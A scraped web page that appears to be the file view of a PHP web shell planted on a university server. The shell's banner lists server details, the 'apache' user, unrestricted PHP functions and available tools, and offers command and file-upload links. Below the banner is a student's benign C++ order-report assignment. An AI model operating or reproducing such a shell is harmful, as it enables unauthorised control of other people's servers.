Server IP : 172.16.15.8 / Your IP : 13.58.203.255 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/lmking1/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// Outline for Programming Assignment #3 // Preprocessor directives #include <iostream> #include <iomanip> #include <fstream> using namespace std; // Main function int main() { // --- Declare variables here char productch, classch, dummych; int amtordered, distance, totalcount, // total count of orders concrete, rock, sand, topsoil, rejected; float total, // total for each product unitcost, // price delicost, // cost of delivery costmat, // cost of materials salestax, totalcharge, // sum of all totals mincharge, maxcharge; bool errorincodes; // false if codes okay, true if either code invalid // --- Output report headings here cout << "\n VWC Stone Mart, Inc. "; cout << "\n Order Summary \n "; cout << "\n Cost of Cost of "; cout << "\nProduct Class Amount Distance Materials Delivery Sales Tax Total\n"; // --- Set numeric formatting for detail lines cout << fixed << setprecision(2); // --- Initialize counters, summary variables here totalcount = 0; concrete = 0; rock = 0; sand = 0; topsoil = 0; rejected = 0; totalcharge = 0; mincharge = 1e29; maxcharge = 0; // --- Prime loop with first input value cin >> productch; // --- Processing loop - stops when product code is sentinel 'Z' while (productch != 'Z') { cin.get(dummych); // skip blank in column 2 cin.get(classch); // get char in column 3, even if blank cin >> amtordered >> distance; // remainder of input in normal fashion errorincodes = false; // set flag - no error found yet! // --- switch statements to validate codes, set unit cost and count product types go here switch (productch) { case 'C': switch (classch) { case ' ': concrete ++; unitcost = 52.60; break; default:; errorincodes = true; } break; case 'R': switch (classch) { case 'C': rock ++; unitcost = 22.25; break; case 'G': rock ++; unitcost = 16.50; break; case 'D': rock ++; unitcost = 35.00; break; default: errorincodes = true; } break; case 'S': switch (classch) { case ' ': sand ++; unitcost = 4.35; break; default: errorincodes = true; } break; case 'T': switch (classch) { case 'A': topsoil ++; unitcost = 8.25; break; case 'B': topsoil ++; unitcost = 6.50; break; case 'C': topsoil ++; unitcost = 5.40; break; default: errorincodes = true; } } // --- now handle detail line if (errorincodes) // codes invalid - no calcs necessary - detail line with error mesg { cout << endl << setw(4) << productch << setw(8)<< classch << setw(8) << amtordered << setw(9) << distance << setw(44) << "************* ERROR *************"; rejected ++; } else // codes valid - calcs, collect summary data, normal detail line { costmat = unitcost * amtordered; if (distance < 5) delicost = (.015 * costmat); else if (distance >= 5 && distance <15) delicost = (.02 * costmat); else if (distance >= 15) delicost = (.025 * costmat); salestax = .05 * costmat; delicost = static_cast<int>(delicost * 100 + .5)/ 100.0; costmat = static_cast<int>(costmat * 100 + .5)/ 100.0; salestax = static_cast<int>(salestax * 100 + .5)/ 100.0; total = (costmat + delicost + salestax); totalcharge += total; if (total > maxcharge) maxcharge = total; if (total < mincharge) mincharge = total; cout <<endl << setw(4) <<productch << setw(8) <<classch << setw(8) <<amtordered << setw(9) <<distance << setw(12) <<costmat <<setw(10) <<delicost << setw(11) <<salestax <<setw(11) <<total; } // end of else cin >> productch; // get next product code totalcount ++; } // end of processing while loop // --- Now display summary statistics cout << endl; cout << "\n Summary \n "; cout << "\nTotal number of orders: " << totalcount; cout << "\n Ready-mix concrete: " << concrete; cout << "\n Rock and gravel: " << rock; cout << "\n Sand: " << sand; cout << "\n Topsoil: " << topsoil; cout << "\n Rejected: " << rejected << endl; cout << "\nTotal charges: $ " << setw(7) << totalcharge; cout << "\nMinimum charge: $ " << setw(7) << mincharge; cout << "\nMaximum charge: $ " << setw(7) << maxcharge << "\n\n"; return 0; }